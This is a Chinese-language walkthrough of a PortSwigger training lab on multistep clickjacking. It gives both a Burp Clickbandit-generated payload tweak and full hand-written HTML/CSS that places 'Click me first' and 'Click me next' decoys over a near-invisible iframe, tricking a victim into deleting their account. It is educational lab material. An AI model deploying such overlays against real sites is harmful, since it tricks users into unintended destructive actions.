从业者-多步点击劫持
# 实验室：多步点击劫持
# 题目
此实验室具有一些受 CSRF 令牌保护的帐户功能，并且执行功能之后还存在一个确认对话框，用于防止点击劫持。
若要解决实验室问题，请构建一个攻击，通过单击 “Click me first” 和 “Click me next” 诱饵操作，诱骗用户单击删除帐户按钮和确认对话框。本实验需要使用两个元素。
你可以使用以下凭据登录到自己的帐户：wiener:peter
笔记
受害者将使用 Chrome，因此请在该浏览器上测试你的漏洞利用。
- name: 实验室-从业者
desc: 多步点击劫持 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/clickjacking/lab-multistep
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室，点击 “My account” 访问登录界面，并使用题目中提供的用户名和密码进行登录。
在账户页面中，你可以看到一个 “Delete account” 删除当前账户的功能。
# 自动生成载荷（Burp Clickbandit）
以下动图演示了通过 Burp Clickbandit 生成一个载荷的过程，该载荷拥有 2 次点击操作：
正常来说，点击 “Delete account” 之后应该再点击 “Yes” 确认删除。但是由于账户只能删除一次，删了就没有了，为了防止出错，所以此处点击 “No” 不删除账户。
虽然 “Yes” 按钮没有正确位于红框之内，但我们后续可以手动调整红框的位置。
如图所示，打开保存的载荷文件。经过测试，在第 80 行代码的位置，找到倒数第二个left参数。它控制着第二次点击的 X 轴位置，此时的值为190。
经过实验，只要将其修改为340，即可正确地将 “Yes” 按钮包含在红框之内。
我们还可以将默认的文本 “Click” 修改为 “Click me”。
将修改left数值后的载荷保存到漏洞利用服务器上，然后访问测试。
以下动图展示了漏洞利用过程：
位置的问题解决了，接下来就是文本了。题目要求第一次点击的文本为 “Click me first”，第二次点击的文本为 “Click me next”。
但纵观整个载荷文件，只有上述那一处 “Click” 可供修改，两次点击都共用同一个文本。该怎么分成两个文本呢？
经过我的实验，首先将默认的文本修改为 “Click me first”，如图所示。
然后转到第 59 行的位置，位于hideButton函数内部，添加一条命令：
btn.innerText = 'Click me next';
第一次点击之后，以上 JavaScript 会把文本内容修改为 “Click me next”。
这下文本的问题也解决了，更新漏洞利用服务器上的载荷，然后看看效果。
以下动图展示了最终的载荷效果：
从上图中可以看到，第一次点击之前，文本内容为 “Click me first”，第一次点击之后，文本内容发生了改变，变为了 “Click me next”。
完美的解决方案！
将最终的载荷发送给受害用户。
点击劫持攻击成功，实验完成。
# 手动生成载荷
如何手动生成拥有两个按钮的载荷？我另外开了一个实验室，来演示一遍。
基于之前的代码，我在原来的基础上，又新增了另一个按钮：
<head>
<style>
#target_website {
position:relative;
width:500px;
height:800px;
opacity:0.4;
z-index:2;
}
#decoy_website_first {
position:absolute;
top: 400px;
left: 100px;
z-index:1;
}
#decoy_website_next {
position:absolute;
top: 200px;
left: 200px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website_first">
Click me first
</div>
<div id="decoy_website_next">
Click me next
</div>
<iframe id="target_website" src="https://<受攻击的域>/">
</iframe>
</body>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
填写目标 URL，保存到漏洞利用服务器上。
看看效果，如果按钮没对准的话，通过开发者工具临时调整数值，达到满意的位置之后，再到实际的代码中修改数值。
第一个按钮对准了，top数值为495，left为65，别忘了单位px（像素）。
然后对准第二个按钮，top:290px和left:220px。
将满意的数值应用到实际的代码中：
<head>
<style>
#target_website {
position:relative;
width:500px;
height:800px;
opacity:0.4;
z-index:2;
}
#decoy_website_first {
position:absolute;
top: 495px;
left: 65px;
z-index:1;
}
#decoy_website_next {
position:absolute;
top: 290px;
left: 220px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website_first">
Click me first
</div>
<div id="decoy_website_next">
Click me next
</div>
<iframe id="target_website" src="https://<受攻击的域>/">
</iframe>
</body>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
将最终的载荷保存到服务器上。
此外，你还可以将opacity（不透明度）调整为0.0001。这样一来，网页上就只剩下两个按钮可见了。
发送给受害者，这个由我们手动构建的载荷，也能用于完成实验！
